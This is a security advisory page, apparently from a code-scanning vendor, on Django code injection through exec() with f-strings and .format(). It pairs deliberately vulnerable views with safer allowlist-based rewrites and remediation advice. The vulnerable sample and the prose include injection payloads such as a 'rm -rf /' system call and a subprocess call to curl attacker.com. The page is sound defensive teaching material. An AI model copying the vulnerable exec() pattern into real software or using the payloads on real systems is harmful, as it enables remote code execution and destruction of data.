Django Code Injection via exec() with Format Strings

Critical Risk Code Injection
djangopythoncode-injectionexecformat-stringremote-code-execution

What it is

The Django application uses the exec() function with user-controlled format strings, creating critical code injection vulnerabilities. This occurs when user input is incorporated into format strings that are then executed, allowing attackers to inject and execute arbitrary Python code with full application privileges.

# Vulnerable: exec() with format strings and user input from django.http import JsonResponse from django.views import View import json # Extremely dangerous: exec() with f-string class DynamicCodeView(View): def post(self, request): action = request.POST.get('action', '') target = request.POST.get('target', '') value = request.POST.get('value', '') try: # CRITICAL: exec() with f-string containing user input code = f"{action}('{target}', '{value}')" exec(code) return JsonResponse({'status': 'executed'}) except Exception as e: return JsonResponse({'error': str(e)}) # Another dangerous pattern with .format() def execute_dynamic_operation(request): operation_template = request.POST.get('template', '') parameters = json.loads(request.POST.get('params', '{}')) try: # Dangerous: format() with user input in exec() formatted_code = operation_template.format(**parameters) exec(formatted_code) return JsonResponse({'result': 'operation_completed'}) except Exception as e: return JsonResponse({'error': str(e)}) # Configuration execution def apply_user_config(request): config_template = request.POST.get('config', '') config_vars = json.loads(request.POST.get('variables', '{}')) # Dangerous: exec() with formatted configuration try: # User can inject: settings.DEBUG = True; __import__('os').system('rm -rf /') config_code = config_template.format(**config_vars) exec(config_code) return JsonResponse({'status': 'config_applied'}) except Exception as e: return JsonResponse({'error': str(e)}) # Database operation execution def execute_db_operation(request): operation = request.POST.get('operation', '') table = request.POST.get('table', '') conditions = request.POST.get('conditions', '') # Dangerous: exec() for database operations try: db_code = f"result = MyModel.objects.{operation}({conditions})" local_vars = {} exec(db_code, {'MyModel': MyModel}, local_vars) return JsonResponse({'result': str(local_vars.get('result', ''))}) except Exception as e: return JsonResponse({'error': str(e)})
# Secure: Safe alternatives to exec() with format strings from django.http import JsonResponse from django.views import View from django.core.exceptions import ValidationError import json # Safe: Predefined operations without exec() class SafeDynamicOperationView(View): def post(self, request): action = request.POST.get('action', '') target = request.POST.get('target', '') value = request.POST.get('value', '') try: # Safe: Use predefined operations result = self.execute_safe_operation(action, target, value) return JsonResponse({'result': result}) except ValidationError as e: return JsonResponse({'error': str(e)}, status=400) def execute_safe_operation(self, action, target, value): # Validate action allowed_actions = { 'create': self.create_object, 'update': self.update_object, 'delete': self.delete_object, 'calculate': self.calculate_value } if action not in allowed_actions: raise ValidationError('Action not allowed') # Validate target and value validated_target = self.validate_target(target) validated_value = self.validate_value(value) # Execute safe operation return allowed_actions[action](validated_target, validated_value) def validate_target(self, target): # Only allow specific target formats allowed_targets = ['user_profile', 'user_settings', 'user_preferences'] if target not in allowed_targets: raise ValidationError('Target not allowed') return target def validate_value(self, value): # Validate value format and content if not value or len(value) > 100: raise ValidationError('Invalid value') # Additional validation based on context try: # Try to parse as JSON for structured data parsed_value = json.loads(value) return parsed_value except json.JSONDecodeError: # Treat as string if not JSON return str(value) def create_object(self, target, value): # Safe object creation if target == 'user_profile': return f"Created profile with data: {value}" # Add other safe creations return "Object created" def update_object(self, target, value): # Safe object update return f"Updated {target} with value: {value}" def delete_object(self, target, value): # Safe object deletion return f"Deleted {target}: {value}" def calculate_value(self, target, value): # Safe calculation try: if isinstance(value, (int, float)): return value * 2 return f"Calculated result for {target}" except (TypeError, ValueError): raise ValidationError('Invalid calculation input') # Safe: Configuration management def safe_apply_user_config(request): try: config_data = json.loads(request.body) # Validate configuration structure validated_config = validate_config_structure(config_data) # Apply configuration safely apply_validated_config(validated_config) return JsonResponse({'status': 'config_applied'}) except (json.JSONDecodeError, ValidationError) as e: return JsonResponse({'error': 'Invalid configuration'}, status=400) def validate_config_structure(config): if not isinstance(config, dict): raise ValidationError('Configuration must be a dictionary') allowed_settings = { 'theme': ['light', 'dark', 'auto'], 'language': ['en', 'es', 'fr', 'de'], 'notifications': [True, False], 'page_size': range(10, 101), 'timeout': range(30, 301) } validated = {} for key, value in config.items(): if key in allowed_settings: allowed_values = allowed_settings[key] if isinstance(allowed_values, list) and value in allowed_values: validated[key] = value elif isinstance(allowed_values, range) and value in allowed_values: validated[key] = value return validated def apply_validated_config(config): # Safe configuration application for key, value in config.items(): # Use Django settings or model updates if key == 'theme': # Update user theme preference pass elif key == 'language': # Update user language preference pass # Apply other safe configurations # Safe: Database operations def safe_execute_db_operation(request): operation = request.POST.get('operation', '') model_name = request.POST.get('model', '') filters = json.loads(request.POST.get('filters', '{}')) try: # Validate inputs validated_operation = validate_db_operation(operation, model_name, filters) # Execute safe database operation result = execute_validated_db_operation(validated_operation) return JsonResponse({'result': result}) except ValidationError as e: return JsonResponse({'error': str(e)}, status=400) def validate_db_operation(operation, model_name, filters): # Validate operation allowed_operations = ['count', 'exists', 'list'] if operation not in allowed_operations: raise ValidationError('Operation not allowed') # Validate model allowed_models = ['User', 'Post', 'Comment'] if model_name not in allowed_models: raise ValidationError('Model not allowed') # Validate filters allowed_filter_fields = { 'User': ['username', 'is_active', 'date_joined'], 'Post': ['title', 'status', 'created_at'], 'Comment': ['approved', 'created_at'] } validated_filters = {} model_fields = allowed_filter_fields.get(model_name, []) for field, value in filters.items(): if field in model_fields: validated_filters[field] = value return { 'operation': operation, 'model': model_name, 'filters': validated_filters } def execute_validated_db_operation(operation_data): operation = operation_data['operation'] model_name = operation_data['model'] filters = operation_data['filters'] # Map model names to actual models model_map = { 'User': User, 'Post': Post, 'Comment': Comment } model_class = model_map[model_name] queryset = model_class.objects.filter(**filters) if operation == 'count': return queryset.count() elif operation == 'exists': return queryset.exists() elif operation == 'list': # Return limited data return [{'id': obj.id} for obj in queryset[:10]] # Safe: Template processing def safe_process_template(request): template_name = request.POST.get('template', '') context_data = request.POST.get('context', '{}') try: # Validate template if template_name not in get_allowed_templates(): raise ValidationError('Template not allowed') # Validate context context = json.loads(context_data) validated_context = validate_template_context(context) # Safe: Django template rendering from django.template.loader import render_to_string rendered = render_to_string(template_name, validated_context) return JsonResponse({'rendered': rendered}) except (json.JSONDecodeError, ValidationError) as e: return JsonResponse({'error': 'Template processing failed'}, status=400) def get_allowed_templates(): return [ 'user/profile.html', 'notifications/email.html', 'reports/summary.html' ] def validate_template_context(context): # Validate and sanitize template context allowed_keys = ['user_name', 'title', 'content', 'date'] validated = {} for key, value in context.items(): if key in allowed_keys and isinstance(value, (str, int, float, bool)): if isinstance(value, str): validated[key] = value[:200] # Limit string length else: validated[key] = value return validated

💡 Why This Fix Works

See fix suggestions for detailed explanation.

Why it happens

Django applications use Python's exec() function on strings constructed with f-strings or .format() methods that embed user-controlled data, enabling attackers to inject arbitrary Python statements that execute with full application privileges. The pattern exec(f"{user_action}('{user_target}')") allows attackers to control function names and arguments: user_action = '__import__("os").system' injects system commands that execute when exec() runs the formatted string. Django views implementing dynamic operations format user input into executable code: exec(f"result = {request.POST['operation']}") enables injection like operation = '__import__("subprocess").run(["curl", "attacker.com"])'. Unlike eval() which evaluates expressions, exec() executes statements including imports, function definitions, class declarations, loops, and variable assignments, providing more extensive code execution capabilities. Configuration management that formats settings into code: exec(f"settings.{setting_name} = {setting_value}") allows injection through both setting names and values. Admin panels using exec() with formatted strings for custom actions: exec(code_template.format(**request.POST)) trusts POST parameters without recognizing format string injection risks. Multi-step formatting chains: intermediate = format1.format(user_data); exec(format2.format(intermediate)) compounds vulnerabilities where user data influences multiple format operations. The .format() method provides identical risks: exec("function_{}('{}')".format(request.GET['func'], request.GET['arg'])) enables complete control over executed code through query parameters.

Root causes

Using exec() with f-strings or .format() Containing User Input

Django applications use Python's exec() function on strings constructed with f-strings or .format() methods that embed user-controlled data, enabling attackers to inject arbitrary Python statements that execute with full application privileges. The pattern exec(f"{user_action}('{user_target}')") allows attackers to control function names and arguments: user_action = '__import__("os").system' injects system commands that execute when exec() runs the formatted string. Django views implementing dynamic operations format user input into executable code: exec(f"result = {request.POST['operation']}") enables injection like operation = '__import__("subprocess").run(["curl", "attacker.com"])'. Unlike eval() which evaluates expressions, exec() executes statements including imports, function definitions, class declarations, loops, and variable assignments, providing more extensive code execution capabilities. Configuration management that formats settings into code: exec(f"settings.{setting_name} = {setting_value}") allows injection through both setting names and values. Admin panels using exec() with formatted strings for custom actions: exec(code_template.format(**request.POST)) trusts POST parameters without recognizing format string injection risks. Multi-step formatting chains: intermediate = format1.format(user_data); exec(format2.format(intermediate)) compounds vulnerabilities where user data influences multiple format operations. The .format() method provides identical risks: exec("function_{}('{}')".format(request.GET['func'], request.GET['arg'])) enables complete control over executed code through query parameters.

Dynamic Code Generation Through String Formatting with Untrusted Data

Django applications generate Python code dynamically using string formatting operations that incorporate untrusted data from requests, databases, or external sources, then execute generated code with exec() creating critical injection vulnerabilities. Code scaffolding systems that generate function or class definitions: func_code = f"def {func_name}(x): return {func_body}"; exec(func_code) allows injection through function names or bodies from user input. Plugin or extension systems generating plugin initialization code: plugin_init = "class {name}({base}): {methods}".format(name=user_name, base=user_base, methods=user_methods); exec(plugin_init) enables class injection attacks. Workflow automation where steps are formatted into executable code: for step in workflow: exec(f"execute_{step['action']}({step['params']})") executes attacker-controlled actions from workflow definitions. ORM query building using string formatting: query_code = f"queryset = Model.objects.{operation}({filters})"; exec(query_code) allows injection through operation names or filter expressions. Data transformation pipelines: transform_code = transform_template.format(**record_data); exec(transform_code) executes code from database records if attackers populate fields with malicious payloads. Report generation systems formatting calculations into code: exec(f"total = {formula}") where formula comes from user-defined report templates. The percent-formatting operator creates identical vulnerabilities: exec('import %s; %s()' % (user_module, user_function)) enables import and execution injection.

Template-Based Code Execution with User-Controlled Variables

Django applications use code templates with variable substitution where user input populates template variables, then execute filled templates with exec(), enabling template injection attacks that achieve arbitrary code execution. String.Template combined with exec(): from string import Template; t = Template('result = $operation'); exec(t.substitute(operation=user_input)) allows code injection through template variable substitution. Custom templating engines that expand user variables into executable code: template_engine.render(user_template); exec(rendered_code) executes attacker-controlled templates. Configuration templates accepting user values: config_template = "DEBUG = {debug}\nALLOWED_HOSTS = {hosts}"; exec(config_template.format(debug=user_debug, hosts=user_hosts)) enables injection through configuration values. Code generation from user specifications: spec_template = "class Model: {fields}"; exec(spec_template.format(fields=user_fields)) allows field injection including malicious code. Macro expansion systems: macro_result = expand_macros(user_macros); exec(macro_result) executes expanded macros containing user data. Django template context variables passed to exec(): context = {'data': request.POST['data']}; exec(Template(code_template).render(context)) chains Django templates with exec(). Multi-variable templates: exec("x = {a}; y = {b}; z = {c}".format(a=var_a, b=var_b, c=var_c)) provide multiple injection points where any variable containing code executes.

Configuration Processing that Combines User Input with Executable Code

Django applications process configuration files, environment variables, or user-provided settings by formatting them into Python code and executing with exec(), treating configuration data as executable code rather than static data structures. Environment variable processing using exec(): exec(f"DEBUG = {os.environ.get('DEBUG', 'False')}") enables code injection through environment variables in containerized or cloud deployments where attackers control environment configuration. Database-driven configuration where settings stored in database tables are formatted and executed: config_record = ConfigModel.objects.get(key='setting'); exec(f"{config_record.key} = {config_record.value}") persists code injection through database records. Import/export functionality deserializing configuration as executable code: uploaded_config = request.FILES['config'].read(); exec(uploaded_config.decode()) treats uploaded files as Python scripts without validation. Settings modules using exec() for complex initialization: exec(config_dict['initialization_code']) runs user-provided initialization during application startup. Feature flag systems formatting flag expressions into code: exec(f"FEATURE_ENABLED = {flag_expression}") where flag_expression comes from admin interface or configuration management. API endpoints accepting configuration updates: exec(request.data['config_code']) directly executes API payload as Python code. Deployment pipelines that execute configuration scripts: exec(deployment_config) runs configuration from version control or deployment tools where attackers might inject malicious commits.

Missing Validation Before exec() Calls with Formatted Strings

Django applications execute formatted strings with exec() without implementing adequate input validation, sanitization, or security controls, assuming that basic string checks prevent code injection when exec() makes any validation insufficient. Length limits that fail to prevent injection: if len(code_string) <= 200: exec(code_string) allows short malicious code like '__import__("os").system("rm -rf /")' within length constraints. Character allowlists missing dangerous characters: if all(c in 'abcdefghijklmnopqrstuvwxyz0123456789 ' for c in code): exec(code) fails when attackers use underscores, parentheses, quotes, or operators. Keyword blocklists attempting to filter dangerous operations: if 'import' not in code and 'exec' not in code: exec(code) fail because Python provides numerous execution vectors: __import__(), compile(), getattr(), open(), eval() nesting, or object attribute access. Regular expressions trying to detect malicious patterns: if not re.search(r'__(.*?)__', code): exec(code) miss many injection techniques including import alternatives and indirect method access. Escaping or sanitization attempts: safe_code = code.replace('import', '').replace('exec', ''); exec(safe_code) fail because simple replacement is bypassable and incomplete. Type validation after execution: exec(code); if 'result' in locals() and isinstance(result, int): use(result) validates too late—code executes before validation. Syntax checking without semantic analysis: try: compile(code, '<string>', 'exec'); exec(code); except SyntaxError: pass validates Python syntax but not semantic safety, allowing syntactically valid malicious code. The fundamental issue: exec() executes arbitrary Python statements, and no string-based validation comprehensively prevents injection—Python's dynamic nature, extensive standard library, and numerous execution mechanisms make safe exec() with user input practically impossible.

Fixes

1

Never Use exec() with User-Controlled Format Strings Under Any Circumstances

Completely eliminate all code patterns that combine exec() with format strings (f-strings, .format(), % formatting) containing user-controlled data, treating this as an absolute security prohibition requiring immediate remediation. Remove all instances of exec(f"{user_data}"), exec(template.format(**user_dict)), or exec(code % user_values) which enable trivial code injection regardless of attempted input validation. Audit codebase comprehensively: grep -r 'exec(' identifies all exec() usage, examine each instance for format string patterns, flag any processing user input for immediate replacement. Replace code generation patterns with declarative alternatives: instead of generating Python code, define operations as data structures that application code interprets safely. Implement code review policies requiring security team approval for any exec() usage: establish that exec() with format strings is absolutely forbidden, configure pull request checks to block such patterns. Use static analysis tools configured to flag exec() as critical security violation: Bandit (B102, B307), Semgrep, CodeQL rules should detect exec() patterns, integrate as blocking CI/CD checks preventing deployment. Document exec() prohibition comprehensively: create coding standards explicitly banning exec() with format strings, provide training on risks, maintain examples of safe alternatives for every legitimate use case. For legacy code containing exec() patterns: create emergency remediation plan identifying all instances, assess business impact, prioritize by user input proximity and exposure, implement safe replacements with aggressive timeline, track migration progress with executive visibility.

2

Use Safe Structured Data Processing Instead of Dynamic Code Execution

Replace exec()-based dynamic code execution with structured data processing where operations are specified declaratively through JSON/YAML configuration that application code safely interprets without executing user-provided code. Design operation specifications as structured data: instead of exec(code_string), accept JSON like {'operation': 'filter', 'field': 'status', 'operator': 'equals', 'value': 'active'} that code interprets safely. Implement operation interpreters: create functions that read operation specifications and execute corresponding logic using predefined code paths: OPERATIONS = {'filter': apply_filter, 'aggregate': apply_aggregation}; OPERATIONS[spec['operation']](spec['params']) maps specifications to safe implementations. Use configuration files for behavior definition: YAML or JSON files define workflows, transformations, or business rules as data structures that application loads and interprets, never executing configuration content as code. For plugin systems, define extension interfaces: create abstract base classes or protocols that plugins implement, use Python's import system with validated module names rather than executing plugin code strings: importlib.import_module(validated_plugin_name) safely loads plugins from allowlisted packages. Implement domain-specific languages (DSLs) as data structures: define restricted query languages, transformation syntaxes, or rule definitions as parseable data formats that compile to safe execution plans, never to executable code strings. Use state machines or decision trees: represent complex logic as graph structures stored in databases or configuration, traverse graphs based on conditions without executing dynamic code. Document structured data patterns: establish organizational standards for declarative operation definitions, provide reusable libraries for common interpretation patterns, prohibit exec()-based approaches in architecture reviews.

3

Implement Strict Input Validation and Sanitization Before Any Processing

While no validation makes exec() with user input safe, implement defense-in-depth validation layers that catch injection attempts and prevent malicious data from reaching code execution contexts even when safe alternatives are used. Define comprehensive JSON schemas: schema = {'type': 'object', 'properties': {'action': {'type': 'string', 'enum': ['create', 'update', 'delete']}, 'target': {'type': 'string', 'pattern': '^[a-zA-Z0-9_]+$'}}, 'required': ['action', 'target']}; jsonschema.validate(user_input, schema) validates structure, types, and content against specifications. Use Django forms with strict validators: class OperationForm(forms.Form): action = forms.ChoiceField(choices=[('create', 'Create'), ('update', 'Update')]); target = forms.CharField(max_length=50, validators=[RegexValidator(r'^[a-zA-Z0-9_]+$')]) applies framework validation. Implement character allowlists aggressively: SAFE_IDENTIFIER_CHARS = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'); if not all(c in SAFE_IDENTIFIER_CHARS for c in identifier): raise ValidationError('Invalid characters') blocks injection attempts. Apply strict length limits: MAX_IDENTIFIER_LENGTH = 64; if len(identifier) > MAX_IDENTIFIER_LENGTH: raise ValidationError('Identifier too long') prevents excessively long payloads. Use type coercion for validation: operation_id = int(user_input); raises ValueError for non-numeric input ensuring type safety. Implement semantic validation: check that identifiers reference actual application objects, validate relationships between parameters, ensure logical consistency beyond syntax validation. Log all validation failures with sanitized input samples: capture attack attempts for security monitoring, enable pattern detection and incident response, alert on validation failure rate spikes indicating attack campaigns.

4

Use Django's Template System for Dynamic Content Generation

Replace exec()-based dynamic content generation and code templating with Django's template system that provides safe variable substitution, automatic escaping, and sandboxed execution preventing code injection. Use Django templates for all dynamic content: from django.template import Template, Context; template = Template('Result: {{ value }}'); rendered = template.render(Context({'value': user_input})) safely substitutes variables without code execution, applies automatic HTML escaping preventing XSS. Configure templates for maximum security: TEMPLATES = [{'OPTIONS': {'autoescape': True, 'string_if_invalid': '', 'debug': False, 'context_processors': []}}] enables autoescaping, handles undefined variables safely, disables debug information exposure, minimizes context processor attack surface. Create custom template tags for complex logic: @register.simple_tag def safe_operation(operation_type, *args): return execute_safe_operation(operation_type, args) encapsulates logic in controlled Python code with validation rather than executing user strings. Implement template filters for transformations: @register.filter def safe_transform(value, transform_type): return ALLOWED_TRANSFORMS[transform_type](value) applies predefined transformations without code execution. Use template inheritance and inclusion: {% extends 'base.html' %}{% block content %}{{ safe_data }}{% endblock %} structures templates safely, prevents template injection through controlled template selection. For API content generation, use Django REST Framework serializers: class ContentSerializer(serializers.Serializer): title = serializers.CharField(); body = serializers.CharField(); computed = serializers.SerializerMethodField() generates content through safe serialization methods not exec(). Restrict template context strictly: provide only necessary variables, never pass request object or sensitive globals, validate all context values before template rendering, use context processors sparingly with security review.

5

Replace Dynamic Code Execution with Predefined Operation Functions

Eliminate exec() by implementing comprehensive libraries of predefined operation functions that users select and parameterize rather than writing arbitrary code, providing required functionality without code execution risks. Define operation libraries: ALLOWED_OPERATIONS = {'user_create': create_user_safely, 'user_update': update_user_safely, 'user_delete': delete_user_safely, 'calculate_total': calculate_total_safely}; operation_func = ALLOWED_OPERATIONS.get(operation_name); result = operation_func(**validated_params) maps operation names to safe implementations. Implement parameter validation within operations: each operation function validates its parameters independently, applies type checking, range validation, and sanitization specific to operation requirements. Use dependency injection for operation context: pass required services, models, or utilities to operation functions through controlled injection rather than allowing operations to access global scope or import arbitrary modules. Create operation composition mechanisms: allow combining predefined operations through configuration rather than code: {'operations': [{'type': 'filter', 'params': {...}}, {'type': 'transform', 'params': {...}}]} specifies operation pipeline as data. Implement operation authorization: check user permissions before executing operations, apply role-based access control, audit all operation invocations with user identity and parameters. For mathematical operations, provide calculator libraries: MATH_OPERATIONS = {'add': operator.add, 'multiply': operator.mul, 'power': operator.pow}; result = MATH_OPERATIONS[op_name](operand1, operand2) performs calculations safely. Document operation library comprehensively: maintain API documentation for all available operations, provide usage examples, establish process for adding new operations requiring security review and approval.

6

Employ Strict Allowlists for All Permitted Operations and Values

Implement comprehensive allowlist-based architecture where every operation name, parameter value, model reference, or function invocation must match explicitly permitted values, eliminating code injection by restricting all dynamic behavior to predefined safe options. Define model allowlists: ALLOWED_MODELS = {'User': User, 'Post': Post, 'Comment': Comment}; if model_name not in ALLOWED_MODELS: raise ValueError('Model not allowed'); Model = ALLOWED_MODELS[model_name] safely retrieves models for dynamic queries. Create field allowlists per model: ALLOWED_FIELDS = {'User': ['username', 'email', 'is_active'], 'Post': ['title', 'content', 'status']}; if field_name not in ALLOWED_FIELDS[model_name]: raise ValueError('Field not allowed') restricts dynamic field access. Implement operation allowlists: ALLOWED_OPS = ['count', 'exists', 'first', 'last']; if operation not in ALLOWED_OPS: raise ValueError('Operation not allowed'); getattr(queryset, operation)() invokes only permitted queryset methods. Use value allowlists for enumerated parameters: ALLOWED_STATUS = {'active', 'inactive', 'pending'}; if status not in ALLOWED_STATUS: raise ValueError('Invalid status') restricts values to known-safe choices. Create filter operator allowlists: ALLOWED_LOOKUPS = {'exact', 'iexact', 'contains', 'icontains', 'gt', 'gte', 'lt', 'lte'}; if lookup not in ALLOWED_LOOKUPS: raise ValueError('Lookup not allowed') limits ORM lookup types. Implement transformation allowlists: ALLOWED_TRANSFORMS = {'uppercase': str.upper, 'lowercase': str.lower, 'strip': str.strip}; transform_func = ALLOWED_TRANSFORMS.get(transform_name) maps transformation names to safe functions. Document allowlist maintenance procedures: require security review for allowlist additions, justify each permitted value with business requirement and risk assessment, audit allowlists during security assessments, maintain allowlist versioning for rollback capability.

Detect This Vulnerability in Your Code

Sourcery automatically identifies django code injection via exec() with format strings and many other security issues in your codebase.